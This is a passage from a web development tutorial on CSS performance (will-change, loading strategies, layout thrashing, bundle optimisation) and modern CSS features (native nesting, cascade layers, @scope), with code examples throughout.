    /* OK for scrolling elements */
}

/* When element leaves viewport */
/*
const observer = new IntersectionObserver((entries) => {
    entries.forEach(entry => {
        if (entry.isIntersecting) {
            entry.target.style.willChange = 'transform';
        } else {
            entry.target.style.willChange = 'auto';
        }
    });
});
*/

/* GPU-accelerated properties only */
.gpu-animated {
    /* These are GPU-accelerated: */
    will-change: transform;     /* ✅ */
    will-change: opacity;       /* ✅ */
    will-change: filter;        /* ✅ */
    
    /* These are NOT GPU-accelerated: */
    will-change: width;         /* ❌ Causes reflow */
    will-change: height;        /* ❌ Causes reflow */
    will-change: margin;        /* ❌ Causes reflow */
    will-change: color;         /* ❌ Doesn't benefit */
}

/* Best practice: Transform + opacity only */
.smooth-animation {
    will-change: transform, opacity;
    /* Most common combination */
}

/* Memory usage comparison:
   No will-change: 0 MB extra
   will-change: transform on 10 elements: ~5-10 MB
   will-change: transform on 1000 elements: ~500+ MB
*/

Example: will-change lifecycle management

/* JavaScript pattern: Add before, remove after */
/*
class AnimationOptimizer {
    constructor(element) {
        this.element = element;
        this.properties = [];
    }
    
    // Add optimization hint
    optimize(properties) {
        this.properties = Array.isArray(properties) ? properties : [properties];
        this.element.style.willChange = this.properties.join(', ');
    }
    
    // Remove optimization hint
    deoptimize() {
        this.element.style.willChange = 'auto';
        this.properties = [];
    }
    
    // Animate with automatic cleanup
    async animate(animation, duration) {
        // Apply hint before animation
        this.optimize(['transform', 'opacity']);
        
        // Wait a frame for optimization to apply
        await new Promise(resolve => requestAnimationFrame(resolve));
        
        // Start animation
        this.element.animate(animation, { duration });
        
        // Remove hint after animation
        setTimeout(() => this.deoptimize(), duration);
    }
}

// Usage
const optimizer = new AnimationOptimizer(document.querySelector('.card'));

// Before hover animation
card.addEventListener('mouseenter', () => {
    optimizer.optimize('transform');
});

card.addEventListener('mouseleave', () => {
    optimizer.deoptimize();
});

// For FLIP animations
function flipAnimate(element, newState) {
    // First: Record current position
    const first = element.getBoundingClientRect();
    
    // Last: Apply new state
    element.classList.add(newState);
    const last = element.getBoundingClientRect();
    
    // Invert: Calculate difference
    const deltaX = first.left - last.left;
    const deltaY = first.top - last.top;
    
    // Play: Animate from inverted position
    element.style.willChange = 'transform';
    element.style.transform = `translate(${deltaX}px, ${deltaY}px)`;
    
    requestAnimationFrame(() => {
        element.style.transition = 'transform 0.3s';
        element.style.transform = 'none';
        
        element.addEventListener('transitionend', () => {
            element.style.willChange = 'auto';
            element.style.transition = '';
        }, { once: true });
    });
}
*/

/* CSS-only pattern with interaction states */
.interactive-card {
    transition: transform 0.3s ease;
}

/* Apply hint on any interaction */
.interactive-card:hover,
.interactive-card:focus,
.interactive-card:active {
    will-change: transform;
}

/* Remove hint when interaction ends (auto after animation) */
.interactive-card {
    /* will-change automatically cleared after transition */
}

/* For continuous animations (use carefully) */
@keyframes float {
    0%, 100% { transform: translateY(0); }
    50% { transform: translateY(-20px); }
}

.floating-element {
    will-change: transform;  /* OK for continuous animation */
    animation: float 3s ease-in-out infinite;
}

/* But better to scope to visible elements only */
.floating-element {
    animation: float 3s ease-in-out infinite;
}

.floating-element.in-viewport {
    will-change: transform;  /* Only when visible */
}

/* Performance monitoring */
/*
// Measure memory impact
console.memory.usedJSHeapSize  // Before
element.style.willChange = 'transform';
console.memory.usedJSHeapSize  // After (Chrome only)
*/
Note: will-change creates GPU layers consuming memory. Only use for transform and opacity animations. Apply just before animation, remove after. Never apply to many elements or permanently in CSS. Use JavaScript for lifecycle management.

16.4 CSS Loading Strategies and Preloading

Strategy Technique Performance Impact Use Case
Inline Critical CSS Embed in <style> tag Eliminates render-blocking request Above-fold styles (<14KB)
Preload <link rel="preload"> Early resource discovery Critical CSS files
Async CSS Load non-blocking Faster initial render Below-fold styles
Defer CSS Load after page load Fastest FCP Non-critical styles
Code Splitting Separate CSS by route Smaller initial bundle Multi-page apps
HTTP/2 Push Server-side push Eliminate round-trip Known critical resources
Lazy Load Load on demand Reduced initial load Component-specific CSS

Example: CSS loading strategies

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    
    <!-- 1. Inline critical CSS (above-fold only) -->
    <style>
        /* Critical styles: header, hero, initial viewport */
        body { margin: 0; font-family: system-ui; }
        .header { background: #fff; padding: 1rem; }
        .hero { min-height: 60vh; display: flex; }
        /* Keep under 14KB for optimal performance */
    </style>
    
    <!-- 2. Preload critical CSS -->
    <link rel="preload" href="/css/critical.css" as="style">
    
    <!-- 3. Preload fonts (if critical) -->
    <link rel="preload" href="/fonts/inter.woff2" as="font" type="font/woff2" crossorigin>
    
    <!-- 4. Async load main CSS -->
    <link rel="stylesheet" href="/css/main.css" media="print" onload="this.media='all'">
    <noscript><link rel="stylesheet" href="/css/main.css"></noscript>
    
    <!-- 5. Preconnect to external domains -->
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    
    <!-- 6. DNS prefetch for lower priority domains -->
    <link rel="dns-prefetch" href="https://analytics.example.com">
</head>
<body>
    <!-- Content -->
    
    <!-- 7. Lazy load non-critical CSS at end of body -->
    <script>
        // Load below-fold CSS after page load
        window.addEventListener('load', () => {
            const link = document.createElement('link');
            link.rel = 'stylesheet';
            link.href = '/css/below-fold.css';
            document.head.appendChild(link);
        });
        
        // Or defer to idle time
        if ('requestIdleCallback' in window) {
            requestIdleCallback(() => {
                const link = document.createElement('link');
                link.rel = 'stylesheet';
                link.href = '/css/enhancements.css';
                document.head.appendChild(link);
            });
        }
    </script>
</body>
</html>

Example: Route-based code splitting

/* Webpack configuration for CSS splitting */
/*
module.exports = {
    entry: {
        home: './src/pages/home.js',
        about: './src/pages/about.js',
        products: './src/pages/products.js',
    },
    output: {
        filename: '[name].[contenthash].js',
    },
    plugins: [
        new MiniCssExtractPlugin({
            filename: '[name].[contenthash].css',
        }),
    ],
    optimization: {
        splitChunks: {
            cacheGroups: {
                // Common CSS shared across routes
                commons: {
                    name: 'commons',
                    chunks: 'all',
                    minChunks: 2,
                    priority: 10,
                    reuseExistingChunk: true,
                    enforce: true,
                },
                // Vendor CSS (from node_modules)
                vendor: {
                    test: /[\\/]node_modules[\\/]/,
                    name: 'vendor',
                    chunks: 'all',
                    priority: 20,
                },
            },
        },
    },
};
*/

/* HTML: Load only required CSS per page */
/*
<!-- Home page -->
<link rel="stylesheet" href="/css/commons.css">
<link rel="stylesheet" href="/css/home.css">

<!-- About page -->
<link rel="stylesheet" href="/css/commons.css">
<link rel="stylesheet" href="/css/about.css">

<!-- Products page -->
<link rel="stylesheet" href="/css/commons.css">
<link rel="stylesheet" href="/css/vendor.css">
<link rel="stylesheet" href="/css/products.css">
*/

/* Dynamic import for lazy loading */
/*
// Load CSS when component mounts
async function loadComponentStyles() {
    if (!document.querySelector('link[href*="modal.css"]')) {
        const link = document.createElement('link');
        link.rel = 'stylesheet';
        link.href = '/css/components/modal.css';
        document.head.appendChild(link);
        
        // Wait for CSS to load
        await new Promise(resolve => {
            link.onload = resolve;
        });
    }
}

// Usage in React/Vue component
useEffect(() => {
    loadComponentStyles();
}, []);
*/

/* HTTP/2 Server Push (server config) */
/*
// Node.js/Express example
app.get('/', (req, res) => {
    // Push critical CSS
    res.push('/css/critical.css', {
        response: { 'content-type': 'text/css' }
    });
    res.sendFile('index.html');
});
*/

/* Service Worker caching strategy */
/*
// cache-first for CSS
self.addEventListener('fetch', event => {
    if (event.request.destination === 'style') {
        event.respondWith(
            caches.match(event.request).then(response => {
                return response || fetch(event.request).then(fetchResponse => {
                    return caches.open('css-v1').then(cache => {
                        cache.put(event.request, fetchResponse.clone());
                        return fetchResponse;
                    });
                });
            })
        );
    }
});
*/
Warning: Preload only 1-2 critical resources to avoid bandwidth contention. Inline CSS increases HTML size. HTTP/2 push can cause over-pushing if not careful. Test with Lighthouse and WebPageTest for real-world impact.

16.5 Reducing Layout Thrashing and Reflows

Issue Cause Impact Solution
Layout Thrashing Read then write DOM in loop Forced synchronous layouts Batch reads, then batch writes
Reflow Geometry changes (width, height) Entire layout recalculation Use transform instead
Repaint Visual changes (color, visibility) Pixel repaint Less expensive than reflow
Composite GPU layer changes Cheapest, GPU-accelerated Use transform, opacity only

Example: Avoid layout thrashing

/* ❌ BAD: Causes layout thrashing */
/*
const elements = document.querySelectorAll('.item');

elements.forEach(el => {
    // READ (triggers layout)
    const height = el.offsetHeight;
    
    // WRITE (invalidates layout)
    el.style.height = (height + 10) + 'px';
    
    // Browser must recalculate layout on each iteration!
});
*/

/* ✅ GOOD: Batch reads, then batch writes */
/*
const elements = document.querySelectorAll('.item');

// First: Batch all reads
const heights = Array.from(elements).map(el => el.offsetHeight);

// Then: Batch all writes
elements.forEach((el, i) => {
    el.style.height = (heights[i] + 10) + 'px';
});
*/

/* ❌ BAD: Reading layout properties in animation */
/*
function animate() {
    const box = document.querySelector('.box');
    
    // Triggers layout
    const width = box.offsetWidth;
    box.style.width = (width + 1) + 'px';
    
    requestAnimationFrame(animate);
}
*/

/* ✅ GOOD: Use CSS transform (no layout) */
/*
let scale = 1;
function animate() {
    scale += 0.01;
    box.style.transform = `scaleX(${scale})`;
    requestAnimationFrame(animate);
}
*/

/* Properties that trigger reflow (EXPENSIVE): */
/*
el.offsetHeight, el.offsetWidth, el.offsetTop, el.offsetLeft
el.clientHeight, el.clientWidth, el.clientTop, el.clientLeft
el.scrollHeight, el.scrollWidth, el.scrollTop, el.scrollLeft
el.getBoundingClientRect()
window.getComputedStyle()

// Setting these properties causes reflow:
width, height, margin, padding, border
top, right, bottom, left
font-size, line-height
display, position, float
*/

/* Properties that only repaint (MODERATE): */
/*
color, background, background-color
border-color, box-shadow
visibility, outline
*/

/* Properties that only composite (FAST): */
/*
transform, opacity
*/

/* Use transform instead of position changes */
/* ❌ SLOW: Causes reflow */
.box {
    position: absolute;
    left: 100px;
    transition: left 0.3s;
}

.box:hover {
    left: 200px;  /* Reflow! */
}

/* ✅ FAST: GPU compositing */
.box {
    transform: translateX(0);
    transition: transform 0.3s;
}

.box:hover {
    transform: translateX(100px);  /* No reflow! */
}

Example: Layout optimization techniques

/* Use CSS custom properties to batch updates */
:root {
    --item-width: 100px;
}

.item {
    width: var(--item-width);
}

/* Update once, affects all items */
/*
document.documentElement.style.setProperty('--item-width', '200px');
*/

/* Use DocumentFragment for batch DOM insertions */
/*
const fragment = document.createDocumentFragment();

for (let i = 0; i < 100; i++) {
    const item = document.createElement('div');
    item.textContent = `Item ${i}`;
    fragment.appendChild(item);
}

// Single reflow instead of 100
container.appendChild(fragment);
*/

/* Use classList for multiple class changes */
/* ❌ BAD: Multiple reflows */
/*
el.className = 'box';  // Reflow
el.className = 'box active';  // Reflow
el.className = 'box active visible';  // Reflow
*/

/* ✅ GOOD: Single update */
/*
el.className = 'box active visible';  // One reflow
// Or use classList
el.classList.add('active', 'visible');
*/

/* Clone, modify, replace pattern */
/* ❌ BAD: Modifying visible element */
/*
const list = document.querySelector('.list');
for (let i = 0; i < 100; i++) {
    const item = document.createElement('li');
    item.textContent = `Item ${i}`;
    list.appendChild(item);  // 100 reflows
}
*/

/* ✅ GOOD: Modify detached element */
/*
const list = document.querySelector('.list');
const parent = list.parentNode;
const clone = list.cloneNode(false);

for (let i = 0; i < 100; i++) {
    const item = document.createElement('li');
    item.textContent = `Item ${i}`;
    clone.appendChild(item);
}

parent.replaceChild(clone, list);  // One reflow
*/

/* Hide element during batch modifications */
/* ❌ BAD: Visible modifications */
/*
el.style.width = '100px';
el.style.height = '100px';
el.style.margin = '10px';
*/

/* ✅ GOOD: Hide during modification */
/*
el.style.display = 'none';  // Reflow
el.style.width = '100px';
el.style.height = '100px';
el.style.margin = '10px';
el.style.display = 'block';  // Reflow
// Total: 2 reflows instead of 4
*/

/* Use CSS containment */
.contained {
    contain: layout;
    /* Changes inside don't affect outside */
}

/* requestAnimationFrame for visual updates */
/*
let updates = [];

function scheduleUpdate(element, property, value) {
    updates.push({ element, property, value });
    
    if (updates.length === 1) {
        requestAnimationFrame(flushUpdates);
    }
}

function flushUpdates() {
    updates.forEach(({ element, property, value }) => {
        element.style[property] = value;
    });
    updates = [];
}

// Usage
scheduleUpdate(box1, 'width', '200px');
scheduleUpdate(box2, 'height', '300px');
// Both applied in same frame
*/
Note: Transform and opacity are GPU-accelerated, causing no layout/paint. Batch DOM reads then writes. Use requestAnimationFrame for visual updates. Avoid reading layout properties (offsetHeight, getBoundingClientRect) in loops or animations.

16.6 CSS Bundle Optimization Techniques

Technique Tool/Method Impact Complexity
Remove Unused CSS PurgeCSS, UnCSS 50-90% size reduction Medium
Minification cssnano, clean-css 20-30% reduction Low
Compression Gzip, Brotli 70-80% reduction Low (server config)
CSS Splitting Webpack, Vite Faster initial load Medium
Deduplicate Rules cssnano advanced 5-15% reduction Low
Shorthand Properties cssnano, manual 5-10% reduction Low
Critical CSS Extraction Critical, Critters Faster FCP Medium

Example: PurgeCSS configuration

/* purgecss.config.js */
/*
module.exports = {
    content: [
        './src/!**!/!*.html',
        './src/!**!/!*.js',
        './src/!**!/!*.jsx',
        './src/!**!/!*.vue',
    ],
    css: ['./src/!**!/!*.css'],
    output: './dist/css',
    
    // Safe list: classes to never remove
    safelist: [
        'active',
        'show',
        'fade',
        /^data-/,  // Keep data-* attributes
        /^js-/,    // Keep js-* classes
    ],
    
    // Safelist patterns
    safelist: {
        standard: ['active', 'show'],
        deep: [/^modal/, /^tooltip/],  // Keep all modal-*, tooltip-*
        greedy: [/^data-/],            // Keep anything with data-
    },
    
    // Keep all keyframe animations
    keyframes: true,
    
    // Keep font-face rules
    fontFace: true,
    
    // Variables to keep
    variables: true,
    
    // Custom extractors for dynamic classes
    extractors: [
        {
            extractor: content => content.match(/[\w-/:]+(?<!:)/g) || [],
            extensions: ['html', 'js', 'jsx']
        }
    ]
};
*/

/* PostCSS integration */
/*
module.exports = {
    plugins: [
        require('@fullhuman/postcss-purgecss')({
            content: ['./src/!**!/!*.html'],
            defaultExtractor: content => {
                // Extract classes including special characters
                const broadMatches = content.match(/[^<>"'`\s]*[^<>"'`\s:]/g) || [];
                const innerMatches = content.match(/[^<>"'`\s.()]*[^<>"'`\s.():]/g) || [];
                return broadMatches.concat(innerMatches);
            }
        })
    ]
};
*/

/* Before PurgeCSS: 500KB CSS */
/* After PurgeCSS: 50KB CSS (90% reduction) */

Example: Build optimization pipeline

/* package.json scripts */
/*
{
    "scripts": {
        "css:build": "npm run css:compile && npm run css:optimize",
        "css:compile": "sass src/scss:dist/css",
        "css:optimize": "npm run css:prefix && npm run css:purge && npm run css:minify",
        "css:prefix": "postcss dist/css/!*.css --use autoprefixer -d dist/css",
        "css:purge": "purgecss --css dist/css/!*.css --content src/!**!/!*.html --output dist/css",
        "css:minify": "cssnano dist/css/!*.css dist/css/!*.min.css"
    }
}
*/

/* Webpack optimization config */
/*
const MiniCssExtractPlugin = require('mini-css-extract-plugin');
const CssMinimizerPlugin = require('css-minimizer-webpack-plugin');
const { PurgeCSSPlugin } = require('purgecss-webpack-plugin');
const glob = require('glob');
const path = require('path');

module.exports = {
    mode: 'production',
    module: {
        rules: [
            {
                test: /\.css$/,
                use: [
                    MiniCssExtractPlugin.loader,
                    'css-loader',
                    'postcss-loader'
                ]
            }
        ]
    },
    plugins: [
        new MiniCssExtractPlugin({
            filename: '[name].[contenthash].css'
        }),
        new PurgeCSSPlugin({
            paths: glob.sync(`src/!**!/!*`, { nodir: true })
        })
    ],
    optimization: {
        minimizer: [
            new CssMinimizerPlugin({
                minimizerOptions: {
                    preset: [
                        'advanced',
                        {
                            discardComments: { removeAll: true },
                            reduceIdents: true,
                            mergeRules: true,
                            mergeLonghand: true,
                            cssDeclarationSorter: true
                        }
                    ]
                }
            })
        ],
        splitChunks: {
            cacheGroups: {
                styles: {
                    name: 'styles',
                    type: 'css/mini-extract',
                    chunks: 'all',
                    enforce: true
                }
            }
        }
    }
};
*/

/* Vite optimization */
/*
// vite.config.js
import { defineConfig } from 'vite';

export default defineConfig({
    build: {
        cssMinify: 'lightningcss',
        cssCodeSplit: true,
        rollupOptions: {
            output: {
                assetFileNames: 'assets/[name].[hash][extname]',
                manualChunks: {
                    vendor: ['node_modules']
                }
            }
        }
    },
    css: {
        devSourcemap: true,
        preprocessorOptions: {
            scss: {
                additionalData: `@import "@/styles/variables.scss";`
            }
        }
    }
});
*/

Example: Manual optimization techniques

/* Before optimization */
.button {
    margin-top: 10px;
    margin-right: 15px;
    margin-bottom: 10px;
    margin-left: 15px;
    padding-top: 8px;
    padding-right: 16px;
    padding-bottom: 8px;
    padding-left: 16px;
    background-color: #007acc;
    border-top-left-radius: 4px;
    border-top-right-radius: 4px;
    border-bottom-left-radius: 4px;
    border-bottom-right-radius: 4px;
}

/* After optimization (shorthand) */
.button {
    margin: 10px 15px;
    padding: 8px 16px;
    background: #007acc;
    border-radius: 4px;
}

/* Remove redundant rules */
/* ❌ BAD: Duplicate properties */
.box {
    color: red;
    width: 100px;
    color: blue;  /* Overrides red, remove red */
}

/* ✅ GOOD */
.box {
    width: 100px;
    color: blue;
}

/* Combine selectors */
/* ❌ BAD: Repeated rules */
.header { margin: 0; padding: 1rem; }
.footer { margin: 0; padding: 1rem; }
.sidebar { margin: 0; padding: 1rem; }

/* ✅ GOOD: Combined */
.header, .footer, .sidebar {
    margin: 0;
    padding: 1rem;
}

/* Remove vendor prefixes (use autoprefixer) */
/* ❌ BAD: Manual prefixes */
.box {
    -webkit-transform: rotate(45deg);
    -moz-transform: rotate(45deg);
    -ms-transform: rotate(45deg);
    -o-transform: rotate(45deg);
    transform: rotate(45deg);
}

/* ✅ GOOD: Let autoprefixer handle it */
.box {
    transform: rotate(45deg);
}

/* Use shorter color values */
/* ❌ LONGER */
.box {
    color: #ff0000;
    background: rgba(255, 255, 255, 1);
}

/* ✅ SHORTER */
.box {
    color: red;  /* or #f00 */
    background: #fff;
}

/* Remove unnecessary units */
/* ❌ UNNECESSARY */
.box {
    margin: 0px;
    padding: 0em;
    line-height: 1.5rem;
}

/* ✅ CLEANER */
.box {
    margin: 0;
    padding: 0;
    line-height: 1.5;
}

/* Measurement targets:
   - Critical CSS: < 14KB (uncompressed)
   - Total CSS: < 100KB (uncompressed)
   - Gzipped: < 30KB
   - Number of rules: < 1000
   - Selector depth: < 3 levels
*/

CSS Performance Best Practices

  • Keep selectors simple (1-3 levels), prefer classes over complex nesting
  • Use contain: layout paint on independent components for layout isolation
  • Apply content-visibility: auto to off-screen sections (huge performance gain)
  • Use will-change only for transform/opacity, add before animation, remove after
  • Inline critical CSS (<14KB), preload important resources, async load rest
  • Batch DOM reads then writes to avoid layout thrashing
  • Use transform and opacity for animations (GPU-accelerated, no reflow)
  • Remove unused CSS with PurgeCSS (50-90% size reduction)
  • Enable Brotli/Gzip compression (70-80% reduction)
  • Split CSS by route, lazy load component styles on demand

17. Modern CSS Features and Experimental APIs

17.1 CSS Nesting Syntax and Implementation

Feature Syntax Browser Support Description
Basic Nesting NEW .parent { & .child { } } Chrome 120+, Safari 17.2+ Native CSS nesting without preprocessor
Direct Nesting .parent { .child { } } Chrome 120+, Safari 17.2+ Type selector requires &
Ampersand (&) &:hover, &.active Modern browsers Reference parent selector
Compound Nesting &-suffix Modern browsers BEM-style concatenation
Media Query Nesting @media { & { } } Modern browsers Nest media queries inside selectors
Multiple Selectors &:is(.a, .b) Modern browsers Multiple parent references

Example: Native CSS nesting

/* Basic nesting with & */
.card {
    background: white;
    padding: 1rem;
    border-radius: 8px;
    
    /* Nested element */
    & .title {
        font-size: 1.5rem;
        margin-bottom: 0.5rem;
    }
    
    /* Pseudo-class */
    &:hover {
        box-shadow: 0 4px 8px rgba(0,0,0,0.1);
    }
    
    /* Pseudo-element */
    &::before {
        content: '';
        display: block;
    }
    
    /* Compound selector (BEM-style) */
    &--featured {
        border: 2px solid #007acc;
    }
    
    &__header {
        display: flex;
        justify-content: space-between;
    }
    
    &__title {
        font-weight: bold;
    }
}

/* Compiles to: */
/*
.card { background: white; padding: 1rem; border-radius: 8px; }
.card .title { font-size: 1.5rem; margin-bottom: 0.5rem; }
.card:hover { box-shadow: 0 4px 8px rgba(0,0,0,0.1); }
.card::before { content: ''; display: block; }
.card--featured { border: 2px solid #007acc; }
.card__header { display: flex; justify-content: space-between; }
.card__title { font-weight: bold; }
*/

/* Direct nesting (type selectors need &) */
.article {
    /* ✅ CORRECT: Class/ID can be direct */
    .content { }
    #main { }
    
    /* ❌ WRONG: Type selector needs & */
    p { }  /* Won't work! */
    
    /* ✅ CORRECT: Use & with type selector */
    & p {
        line-height: 1.6;
    }
    
    & > p {
        /* Direct child paragraphs */
    }
}

/* Multiple nesting levels */
.nav {
    display: flex;
    
    & .nav-item {
        padding: 0.5rem 1rem;
        
        & .nav-link {
            color: #333;
            text-decoration: none;
            
            &:hover {
                color: #007acc;
            }
            
            &:focus {
                outline: 2px solid currentColor;
            }
        }
        
        &.active .nav-link {
            font-weight: bold;
        }
    }
}

Example: Advanced nesting patterns

/* Media query nesting */
.container {
    width: 100%;
    padding: 1rem;
    
    @media (min-width: 768px) {
        & {
            width: 750px;
            margin: 0 auto;
        }
    }
    
    @media (min-width: 1024px) {
        & {
            width: 960px;
            padding: 2rem;
        }
    }
}

/* Nested at-rules */
.button {
    padding: 0.5rem 1rem;
    background: #007acc;
    color: white;
    
    @supports (backdrop-filter: blur(10px)) {
        & {
            background: rgba(0, 122, 204, 0.8);
            backdrop-filter: blur(10px);
        }
    }
    
    @media (prefers-reduced-motion: no-preference) {
        & {
            transition: transform 0.2s;
        }
        
        &:hover {
            transform: scale(1.05);
        }
    }
}

/* Multiple parent selectors with :is() */
.nav {
    &:is(.horizontal, .vertical) {
        display: flex;
    }
    
    &:is(.horizontal) {
        flex-direction: row;
    }
    
    &:is(.vertical) {
        flex-direction: column;
    }
}

/* Complex nesting scenarios */
.theme-dark {
    & .card {
        background: #2d2d2d;
        color: #f0f0f0;
        
        & .title {
            color: white;
        }
        
        &:hover {
            background: #3d3d3d;
        }
    }
    
    & .button {
        background: #404040;
        
        &:hover {
            background: #505050;
        }
    }
}

/* Nesting with :has() */
.article {
    & {
        padding: 2rem;
    }
    
    &:has(img) {
        padding-top: 0;
        
        & img {
            width: 100%;
            height: auto;
        }
    }
    
    &:has(> .featured) {
        border-left: 4px solid #007acc;
    }
}
Note: Native CSS nesting requires & for type selectors and pseudo-classes. Class/ID selectors can be direct children. Media queries and @supports can be nested inside selectors. Browser support: Chrome 120+, Safari 17.2+, Firefox 117+.

17.2 CSS Cascade Layers (@layer)

Concept Syntax Purpose Specificity
Layer Declaration @layer name { } Create named layer Order-based, not specificity-based
Layer Ordering @layer reset, base, theme; Define layer priority Later layers have higher priority
Anonymous Layer @layer { } Unnamed layer Lowest priority
Nested Layers @layer outer.inner { } Layer hierarchy Dot notation for sub-layers
Layer Import @import url() layer(name); Import into layer Organize external CSS
Unlayered Styles Normal CSS rules Highest priority Always override layered styles

Example: Cascade layers basics

/* 1. Define layer order (lowest to highest priority) */
@layer reset, base, components, utilities, overrides;

/* 2. Add styles to layers */
@layer reset {
    * {
        margin: 0;
        padding: 0;
        box-sizing: border-box;
    }
}

@layer base {
    body {
        font-family: system-ui, sans-serif;
        line-height: 1.6;
        color: #333;
    }
    
    a {
        color: #007acc;
        text-decoration: none;
    }
}

@layer components {
    .button {
        padding: 0.5rem 1rem;
        border: none;
        border-radius: 4px;
        cursor: pointer;
    }
    
    .card {
        background: white;
        padding: 1rem;
        border-radius: 8px;
        box-shadow: 0 2px 4px rgba(0,0,0,0.1);
    }
}

@layer utilities {
    .text-center {
        text-align: center;
    }
    
    .mt-1 {
        margin-top: 0.5rem;
    }
    
    .hidden {
        display: none;
    }
}

@layer overrides {
    .force-visible {
        display: block !important;
    }
}

/* Unlayered styles have HIGHEST priority */
.emergency-fix {
    color: red;
    /* This beats ALL layered styles, even with !important in layers */
}

/* Layer priority demonstration */
@layer base {
    .text {
        color: blue;  /* Specificity: (0,1,0) */
    }
}

@layer components {
    p {
        color: green;  /* Specificity: (0,0,1) but HIGHER layer */
    }
}

/* Result: p.text will be GREEN (layer order wins over specificity) */

Example: Nested and sub-layers

/* Define nested layer structure */
@layer framework {
    @layer reset, base, components, utilities;
}

/* Add to nested layers using dot notation */
@layer framework.reset {
    *, *::before, *::after {
        box-sizing: border-box;
    }
}

@layer framework.base {
    body {
        margin: 0;
        font-family: system-ui;
    }
}

@layer framework.components {
    @layer buttons, cards, modals;
    
    @layer buttons {
        .btn {
            padding: 0.5rem 1rem;
            border: none;
            border-radius: 4px;
        }
        
        .btn-primary {
            background: #007acc;
            color: white;
        }
    }
    
    @layer cards {
        .card {
            background: white;
            padding: 1rem;
            border-radius: 8px;
        }
    }
}

@layer framework.utilities {
    .flex {
        display: flex;
    }
    
    .gap-1 {
        gap: 0.5rem;
    }
}

/* Import external CSS into layers */
@import url('normalize.css') layer(framework.reset);
@import url('components.css') layer(framework.components);
@import url('utilities.css') layer(framework.utilities);

/* Layer order with imports */
@layer reset, vendor, components;
@import url('reset.css') layer(reset);
@import url('bootstrap.css') layer(vendor);
@import url('custom.css') layer(components);

/* Anonymous layer (lowest priority) */
@layer {
    /* Styles here have lowest priority */
    .experimental {
        color: purple;
    }
}

Example: Practical layer architecture

/* Complete layer architecture for an application */

/* 1. Declare all layers upfront */
@layer reset, tokens, base, layout, components, utilities, themes, overrides;

/* 2. Reset layer */
@layer reset {
    @import url('modern-normalize.css');
    
    *, *::before, *::after {
        box-sizing: border-box;
    }
}

/* 3. Design tokens */
@layer tokens {
    :root {
        --color-primary: #007acc;
        --color-text: #1a1a1a;
        --spacing-unit: 0.5rem;
        --font-sans: system-ui, sans-serif;
    }
}

/* 4. Base styles */
@layer base {
    body {
        font-family: var(--font-sans);
        color: var(--color-text);
        line-height: 1.6;
    }
    
    h1, h2, h3, h4, h5, h6 {
        font-weight: 600;
        line-height: 1.2;
    }
}

/* 5. Layout primitives */
@layer layout {
    .container {
        max-width: 1200px;
        margin: 0 auto;
        padding: 0 1rem;
    }
    
    .flex {
        display: flex;
    }
    
    .grid {
        display: grid;
    }
}

/* 6. Components */
@layer components {
    @layer buttons, cards, forms, navigation;
    
    @layer buttons {
        .button {
            padding: 0.5rem 1rem;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            background: var(--color-primary);
            color: white;
        }
    }
    
    @layer cards {
        .card {
            background: white;
            padding: 1rem;
            border-radius: 8px;
            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
        }
    }
}

/* 7. Utilities (highest in normal layers) */
@layer utilities {
    .text-center { text-align: center; }
    .hidden { display: none; }
    .sr-only {
        position: absolute;
        width: 1px;
        height: 1px;
        overflow: hidden;
    }
}

/* 8. Theme layer */
@layer themes {
    .theme-dark {
        --color-bg: #1a1a1a;
        --color-text: #f0f0f0;
        background: var(--color-bg);
        color: var(--color-text);
    }
}

/* 9. Overrides (when absolutely necessary) */
@layer overrides {
    .js-visible {
        display: block !important;
    }
}

/* Unlayered: Emergency fixes only */
.critical-fix {
    /* This beats everything */
}

/* Benefits of this architecture:
   - Predictable specificity
   - Easy to understand priority
   - No need for !important (mostly)
   - Third-party CSS can be contained
   - Components can't accidentally override resets
*/
Warning: Unlayered styles always beat layered styles, regardless of specificity. !important within layers inverts the layer order. Layer order is defined by first declaration. Plan layer architecture before implementation.

17.3 CSS Scope (@scope)

Feature Syntax Browser Support Purpose
Basic Scope @scope (.root) { } Chrome 118+ Limit styles to subtree
Scope with Limit @scope (.root) to (.limit) { } Chrome 118+ Exclude nested scopes
:scope Pseudo-class :scope { } All modern Reference scope root
Multiple Scopes @scope (.a, .b) { } Chrome 118+ Apply to multiple roots
Nested Scopes Scopes within scopes Chrome 118+ Fine-grained control

Example: CSS @scope basics

/* Basic scope: styles only apply inside .card */
@scope (.card) {
    /* All selectors are scoped to .card descendants */
    h2 {
        font-size: 1.5rem;
        margin-bottom: 0.5rem;
    }
    
    p {
        line-height: 1.6;
        color: #666;
    }
    
    button {
        padding: 0.5rem 1rem;
        background: #007acc;
        color: white;
    }
    
    /* :scope references the .card itself */
    :scope {
        background: white;
        padding: 1rem;
        border-radius: 8px;
    }
    
    /* Equivalent to .card > h2 */
    :scope > h2 {
        border-bottom: 2px solid #007acc;
    }
}

/* Without @scope, you'd need: */
.card { background: white; padding: 1rem; border-radius: 8px; }
.card h2 { font-size: 1.5rem; margin-bottom: 0.5rem; }
.card p { line-height: 1.6; color: #666; }
.card button { padding: 0.5rem 1rem; background: #007acc; color: white; }
.card > h2 { border-bottom: 2px solid #007acc; }

/* Scope with exclusion boundary */
@scope (.card) to (.nested-card) {
    /* Styles apply inside .card but NOT inside .nested-card */
    p {
        color: #333;
    }
    
    /* This won't affect paragraphs inside .nested-card */
}

/* HTML structure:
<div class="card">
    <p>Affected by scope</p>
    <div class="nested-card">
        <p>NOT affected (excluded)</p>
    </div>
</div>
*/

/* Multiple scope roots */
@scope (.header, .footer, .sidebar) {
    nav {
        display: flex;
        gap: 1rem;
    }
    
    a {
        color: inherit;
        text-decoration: none;
    }
}

/* Practical example: Modal component */
@scope (.modal) {
    :scope {
        position: fixed;
        inset: 0;
        display: flex;
        align-items: center;
        justify-content: center;
        background: rgba(0,0,0,0.5);
    }
    
    .modal-content {
        background: white;
        padding: 2rem;
        border-radius: 8px;
        max-width: 500px;
        width: 90%;
    }
    
    .modal-header {
        display: flex;
        justify-content: space-between;
        align-items: center;
        margin-bottom: 1rem;
    }
    
    h2 {
        margin: 0;
        font-size: 1.5rem;
    }
    
    button {
        padding: 0.5rem 1rem;
        border: none;
        border-radius: 4px;
        cursor: pointer;
    }
    
    .close-button {
        background: transparent;
        font-size: 1.5rem;
    }
}

